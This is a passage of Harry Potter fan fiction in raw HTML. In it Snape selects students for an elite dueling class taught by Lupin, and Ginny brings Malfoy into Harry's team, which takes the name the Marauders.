it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thinking back to his brief conversation with Rose, he\nsmiled. Maybe he was like a girl in some ways.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron came through the common room door/portrait a little\nlater, having gone down to the kitchens for the dinner he missed. The common\nroom was empty, save a lone figure laying on the couch, staring into the fire.\nThe fire was magically enchanted to not give off much heat, being it still\nwasn\'t quite cold enough&nbsp;\noutside just yet, and Ron found that at night, he was grateful\nfor it. The fire was, more times than not, the only source of light late at\nnight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ron? What are you doing up so late?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked at the figure, and realized it was Lavender. &quot;Oh, hey. I hear you\'re sick. Doing any better?&quot;\nHe made his way over to her and knelt down beside her. Although they didn\'t\ntalk too terribly much, she was still a friend to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;A little.&quot; She admitted.\n&quot;It\'s just a virus. Should pass in two more days if I\nkeep taking that god awful potion.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah,&quot; Ron nodded. &quot;The worst a potion taste,\nthe better it is for you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She laughed at him. &quot;How true it is. Have fun in\nHogsmeade today?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, loads. Wish you coulda been there.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I wanted to be.&quot; She admitted with a sniffle.\n&quot;I\'m fresh out of Bart\'s every flavoured Beans. I love those things to\ndeath.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron quickly thought. Well, she <i style="mso-bidi-font-style:\nnormal">was</i> filling ill, <i style="mso-bidi-font-style:normal">and</i> she\nmissed the first Hogsmeade trip&#8230; What was a few beans\nbetween friends? &quot;Here you go.&quot; He grinned, handing her his bag of\nbeans. &quot;I don\'t really need them. Why don\'t you take them?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For some reason, Lavender found herself blushing. &quot;No,\nI couldn\'t. Its common knowledge you love these things!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, well, sometimes giving them to someone is even\nbetter than eating them.&quot; He gently pushed it back into her hands.\n&quot;Enjoy them.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender smiled up at him and gave a small\n&quot;Thanks.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was then that Ron found a strange feeling in his stomach.\n&quot;Hey, I gotta get going now. Get some sleep and all, you know.&quot; He\ntook a step back and almost tripped over the table, getting a laugh from her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Silly Boy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Y-yeah!&quot; He somehow\nmanaged to choke this out and make a run to his room and close the door behind\nhim. &quot;What the bloody hell was <i style="mso-bidi-font-style:normal">that</i>\nall about&#8230;.?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I can\'t say it was a pleasure teaching all of\nyou&#8230;&quot; Snape said coolly, pacing the circle of the dueling club. &quot;If\nfact, quite a few of you disappointed me greatly.&quot; He looked around the\naudience, obviously stopping on a few people. &quot;But, never the less, I have\nchosen the top thirty students who will participate in the Sorcerer\'s\nCircle.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape stopped suddenly and looked at his students.\n&quot;Take note that these names are chosen from the number of duels you won,\nas well as the spells you cast. The Sorcerer\'s Circle will be the elite of the\nelite at Hogwarts. You thirty will be pushed to your limits in both physical\nand mental areas. After the first day, you will hate your professor. After a\nweek, you\'ll wish you were never born. A month and you\'ll want to want to leave\nthe wizarding world forever and forget the hellish training you\'ll go through. But.&quot; He clipped his heels military fashion as he\nturned to pace the opposite direction. &quot;You\'ll make me damned proud when\nyou fight a death eater.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s world lurched violently. \'<i style="mso-bidi-font-style:\nnormal">Did SNAPE just say he was proud of someone!?\'</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;When I call your names, please exit the room and wait\noutside. Your professor will meet you out there. Those of you who do not make\nit, you will train here with me. Ms. Chang! You graduated.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do you think we\'ll make it?&quot; Ron asked Harry as\nnames were being shouted and footsteps were made toward the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I hope so.&quot; Hermione nodded. &quot;I don\'t like\nthe idea of being put through whatever it is he was describing, but <i style="mso-bidi-font-style:normal">anything</i> is better than having Snape\nyell at me all day.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione,&quot; Harry gave a quirky grin. &quot;You\ninsulted a teacher, I\'m proud.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Virginia Weasley!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny was shocked. She didn\'t think for a moment she would\nbe chosen. Walking to the door, she passed Snape, who had at one point made his\nway from the pit to just in front of the door. He handed her a small rolled up\npiece of parchment with a wax seal with the letters S.C. on it. &quot;Thank\nyou.&quot; Ginny said, taking it from him, but stopped when he didn\'t let go\nall the way.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Death Eaters love girls.&quot; Snape told her in a\nhushed, but very serious tone. &quot;Don\'t you <i style="mso-bidi-font-style:\nnormal">dare</i> get caught, Weasley!&quot; With that, he retracted his hand\nharshly. &quot;Now move, you\'re blocking the line!\nDraco! You graduated!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wonder what he told her?&quot; Hermione asked,\nfidgeting. Already half the students were called. &quot;I\'m betting it wasn\'t\nanything too nice. I-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione Granger!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione beamed with pride. &quot;See you out in the hall,\nboys.&quot; She winked and moved to the door, pride oozing in he steps. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape held out the parchment and let Hermione touch the\nother end before speaking. &quot;Every sword needs a sheath.&quot; Before she\ncould ask, he shouted out again. &quot;Ron Weasley! You graduated.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched his friend go and bit back a smile. He was\nproud of his friends, but he had yet to be called. Harry watched as Ron paused\nat Snape, like everyone else, and saw Ron set his jaw and nod seriously. The\nnext name was called out and, despite his will, he started fidgeting with\nanticipation. Dean had made it, as had Seamus. A boy by the name of Recca had\nalso joined the team. A few more names were called and Snape looked up.\n&quot;That is all.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry froze. \'<i style="mso-bidi-font-style:normal">No&#8230; No,\nI had to have made it&#8230;</i>\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But professor, you only called out twenty nine\nnames?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah yes, I suppose that might of happened. Harry\nPotter.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had to bite his tongue so he wouldn\'t growl. Snape had\nleft him out on purpose just to get a rise out of him. This thought only made\nhim madder, knowing that Snape\'s plan on him worked out fully. Muttering, he\nwalked to Snape and tried to snatch the parchment from his hand, but found\nSnape was holding it tight, crumpling it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&quot;Harry,&quot; He\nstated so quietly he could almost not hear him. &quot;for\nthe last six years I had been Hell on you. When you go and face the death\neaters, you will without a doubt be the best there is. To make a New\n World without fear, one must tear down the old. You will fight to\nthe death. You will duel death eaters who will not think twice before casting\nthe killing curse on you. You have chosen a side, now is the time to act. There\nis nothing glamorous about this. This is war. For the New World,\ncan you kill, Harry?&quot; He didn\'t let the boy respond. &quot;I\'ve seen your\nspells, and how you cast them. You\'re a brandished blade, Harry Potter. Show\nthe world just what you can be when you are backed against the wall, as you\nhave shown me these last six years.&quot; He was forceful with his words, as if\nhe was trying to keep his dignity. &quot;Now leave, your face is making me\nsick.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was forcefully shoved out of the door and felt it clip\nhis shoes as it was closed. Snape\'s voice was heard, even outside. He was\nclearly upset at having told Harry a compliment. &quot;About\ntime.&quot; A voice caught his attention, making him turn. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s voice caught in his throat. &quot;No&#8230;&quot; He said,\nnot able to mask his surprise. &quot;You\'re teaching us&#8230;?&quot; He slowly held\nup a finger. &quot;You&#8230;?&quot; A smile broke across his face. &quot;All right!&quot; The rest of the students cheered as\nwell, celebrating their new teacher, minus a small few.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now, now.&quot; Their\nprofessor said, smiling. &quot;Just because I was nice last time, doesn&#8217;t mean\nI won\'t be mean this time.&quot; A few students laughed, but he went on.\n&quot;Many of you remember me as it seems, but just in case, I\'ll introduce\nmyself.&quot; He pulled on his tattered collar to his black trench coat in a\nfashionable way. &quot;I am Remus Lupin. Your Sorcerer\'s\nCircle instructor.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;First thing!&quot; Professor\nLupin stated, pacing in front of the students much like Snape did. &quot;This\nclass will be honing your tactical skills, as well as defending. That means you\nwill be forced to knock away curses as well as hold your own. An example!\nHarry, would you please?&quot; He motioned for him to walk up next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry did as he was asked with a smile. When he was at the\nfront of the class, he gave his professor an inquisitive look. &quot;Me and Mr. Potter here will be giving an example of what you\nwill be doing. At least one of them, but then again, I am getting old. Maybe I\nforgot a third thing.&quot; A few students chuckled at this. &quot;Anyway,\nHarry draw your wand, if you please.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded and got into a stance, holding up his right arm\nand pointing it at Lupin, palm open as if he were about to grab the snitch.\n&quot;Ah, yes.&quot; Lupin nodded at him, eyeing the stance. &quot;I\'ve heard\nabout your wand-less magic. I also know the secret behind it.&quot; He winked.\n&quot;But secrets such as that are not meant to be revealed. Harry, if you\nwould, please cast the disarming spell on me.&quot; He drew his wand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A quick nod showed that he understood and Harry took a sharp\nstep forward, slashing his hand. &quot;<i style="mso-bidi-font-style:\nnormal">Expelliarmus!</i>&quot; He shouted, feeling the blast shoot from\nhis hand. It hit Lupin full force in the chest, but he did not lose his wand.\nHarry stood up straight, clearly impressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That was a simple defensive procedure.&quot; Lupin\nsaid simply, holding his wand up so everyone could see. &quot;It takes more\nthan just a firm grip, but a piece of mind. Before I teach you this technique,\nplease get into groups of five. This group will be your training group. I\nsuggest pairing with friends who will help you, but be warned that you <i style="mso-bidi-font-style:normal">will</i> hurt these people you team up\nwith.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shivered lightly, but nodded over to Ron, who nodded\nback, serious. The boys paired off and soon found Hermione with them. Each gave\na small smile of support. A minute later, Ginny walked up to them. &quot;May I\njoin?&quot; She asked, looking at them. Harry shrugged and Hermione smiled,\npleased to have another girl with them. Ron agreed readily, not liking the idea\nof his sister being hexed by anyone other than himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now, does everyone have a partner?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just about!&quot; a few people called, quickly\nscattering together. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny noticed a boy by himself. She watched as he approached\na group of slytherns (Only six had made it), only to be pushed away. The boy\nheld out his wand, but found himself staring point blank at five pointed at\nhim. Realizing he couldn\'t win face-to-face with five people, he pocketed his\nweapon and walked away. &quot;I\'ll be right back.&quot; Ginny said after a\nmoment. Not giving them a chance to respond, Ginny rushed off to find the boy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;This bites.&quot; She heard him say as she caught up\nwith him. &quot;They don\'t even care, knowing I\'m the best one here...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Malfoy?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy turned sharply, glaring. &quot;What is it\nweasel!?&quot; No sooner than the words escape his lips then did he look sorry\nfor saying them. Ginny watched with interest as he looked like he was having a\nmental debate with himself. A moment later, he spoke. &quot;I was mad.&quot; He\nsaid, meaning it as an apology, but not actually saying it. &quot;What do you\nwant?&quot; Again he looked sorry for snapping.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You aren&#8217;t paired with anyone.&quot; She told him ,stating a fact.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well aren&#8217;t you the smart one?&quot; He quipped,\nannoyed. &quot;Look,&nbsp; I\ndon\'t need your pity, I-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Whom says I\'m pitying\nyou?&quot; She retorted hotly. &quot;I wanted to ask you to join us. Not\nbecause I\'m <i style="mso-bidi-font-style:normal">pitying</i>\nyou, but because I\'ve seen you duel. You\'re good and I want to be the best.\nI\'ll need <i style="mso-bidi-font-style:normal">you</i> there to go all out on\nme. I <i style="mso-bidi-font-style:normal">know</i> my friends won\'t.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy was taken aback. A moment passed and he\nsubconsciously fingered his ring. &quot;All right then.&quot; He said after a\nwhile. &quot;I\'ll join you. Not like I have a choice anyway, seeing as how your\ngroup is the only one who doesn&#8217;t have five yet.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny grinned at him. &quot;Malfoy, you know, you try to be\nbad and all tough, but it doesn&#8217;t work when you think about what to say before\nsaying it.&quot; He was about to reply, but she cut him off. &quot;Come,&quot;\nShe grabbed his wrist and started pulling him. &quot; You\'re\na nice guy on the inside, you just have to show it.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">She\'s right, you\nknow.</i>&quot; Came a voice in his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">Hush, Christina.</i>\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Guys, here\'s our fifth member.&quot; Ginny greeted\nwith Malfoy in tow. &quot;I think we all know him.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">Malfoy</i>?&quot;\nRon gasped, in utter shock. &quot;No! No way, nuh-uh, not a chance! Did I\nmention <i style="mso-bidi-font-style:normal">no</i>!?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not like I <i style="mso-bidi-font-style:normal">want</i>\nto team with you, Weasley!&quot; Malfoy spat, annoyed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked over at Harry, who was considering it.\n&quot;Malfoy,&quot; Harry started, stepping forward. &quot;I\'ll let you in on\none condition.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He looked like he was about to retort, but stopped himself.\nTaking a deep breath, he visibly calmed. &quot;Okay,&quot; he said after a\nwhile. &quot;What is it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Shake my hand.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy considered this, but a small voice in his head calmed\nhim down enough from Ron\'s insults to think straight. &quot;Sure.&quot; He said\nafter only a moment\'s pause. &quot;I can do that.&quot; He held out his right\nhand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry held out his left. &quot;With your\nleft hand.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy paused. His ring was on his left hand. &quot;Why my left?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You hold your wand with your left hand, don\'t you? I\nthink it\'s only proper to greet you with your dominant hand.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Slowly, very slowly, He raised his left hand and grasped\nHarry\'s. A spark ignited and Harry felt his magical power being sapped from\nhim. They shook one time and let go. Harry rubbed his hand and Malfoy fingered\nhis ring. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He\'s in.&quot; Harry then stated. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What the bloody hell do you mean <i style="mso-bidi-font-style:\nnormal">in</i>!?&quot; Ron demanded, putting an arm\nover his shoulders roughly and pulling him close so he could whisper into his\near. &quot;Harry, why do you want <i style="mso-bidi-font-style:\nnormal">him</i> with us?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Because, Ron.&quot; Harry whispered back, just as\nharshly as Ron had. &quot;We don\'t have a choice, and he\'s willing to work with\nus. For his pride, or reputation, I don\'t care. Dumbledor gives everyone a\nsecond chance, why shouldn\'t we?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron glared at his friend a moment before pulling back and\nturning around. &quot;Fine. He can join.&quot; He\nglared at Malfoy over his shoulder. &quot;You\'re getting a second chance, but\ndon\'t blow it. You\'re on thin ice.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione?&quot; Ginny asked\nwith pleading eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded. &quot;I don\'t like the idea, but if Harry\nand Ron can accept it, and you Ginny, then I guess I can. But one \'Mudblood\'\nfrom him and I\'m going to hex him so bad, people will speak of it more than the\nchamber!&quot; Harry clapped lightly to show how impressed he was with her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Does everyone have a complete team now?&quot; Lupin\nasked them. When no one spoke up against him, he scanned the room and saw six\ngroups of five people. &quot;Good. Next step is to choose a team leader and\nname of team.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I think it should be Ron.&quot; Harry said\nimmediately, nodding to him with his head. &quot;He\'s best with strategies.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Chess strategies.&quot; Ron\ncorrected. &quot;Fixed movements. You can think faster\non your feet, you should be it. Or maybe Hermione?&quot;\nHe turned to look at the girl. &quot;She knows more hexes and spells and\ncounter curses than all of us put together.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked kind of nervous. &quot;I don\'t feel\ncomfortable having four people under me&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Potter.&quot; Eight eyes\nturned to the speaker. Malfoy was looking away from them, at Lupin, while he\nspoke the word. Slowly he turned around and gave them a meaningful look.\n&quot;I can beat the Weasleys and Granger without any trouble.&quot; He turned\nto Ginny. &quot;And Potter can beat all of you as well&#8230;..And he beat me. He\nshould be the captain.&quot; Once again, Malfoy turned away from them. Their\nduel had been drawn as a tie, but he had personally taken it as a loss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron scoffed. &quot;He has a point. Harry <i style="mso-bidi-font-style:normal">did</i> beat me when we dueled.&quot; He\ncrossed his arms. &quot;Although I think I could take <i style="mso-bidi-font-style:\nnormal">him</i> down.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We are <i style="mso-bidi-font-style:normal">not</i>\nfighting each other.&quot; Hermione stepped in. &quot;Malfoy made a good point.\nHarry should be the captain.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled lightly. &quot;You guys really think so?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah!&quot; Ginny nodded,\nhopping a little. &quot;You\'re the best Harry!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Heh, guess I have no choice then.&quot; Harry said,\nrunning his hand through his hair. &quot;All right then, I\'ll do it.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Alright!&quot; They all, save\nMalfoy, chorused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Group one!&quot; Lupin shouted above the noise. &quot;Leader and name?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cho&nbsp;\nstepped forward. &quot;I am the leader&#8230; And we\'re called\n&quot;The Angels&quot;. &quot; Her all girl group\ncheered as Professor Lupin wrote it down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Group two?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A boy with long black hair stepped forward. He was dressed\nin a black Hogwarts robe, but it was tainted crimson. He also had on a green\nand black tie, showing he was a Slythern. &quot; I,\nVincent, am the leader, and we are the \'Dragon\'s Fang\'. &quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Group three?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A girl by the name of Ashley stepped up. &quot;Ashley. We\nare the Blitz Team.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Group four?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean gave a whoop. &quot; We\'re the\nN.W.O. Baby!&quot; Several rounds of \'Sweeeeeeet!\' rang through the group.\nHermione and Harry snickered at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Group five?&quot; Lupin asked with a smile. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hanabishi Recca.&quot; A boy stated in a calm voice.\n&quot;We are the Hokage.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin nodded and then turned to Harry. &quot;And Group\nsix?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stepped forward. &quot;I am the captain of this\nteam.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A nod. &quot;Have you chosen your\nname?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry set his jaw. &quot; We\nhave.&quot; His group looked at him expectantly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And it is?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We are the Marauders.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 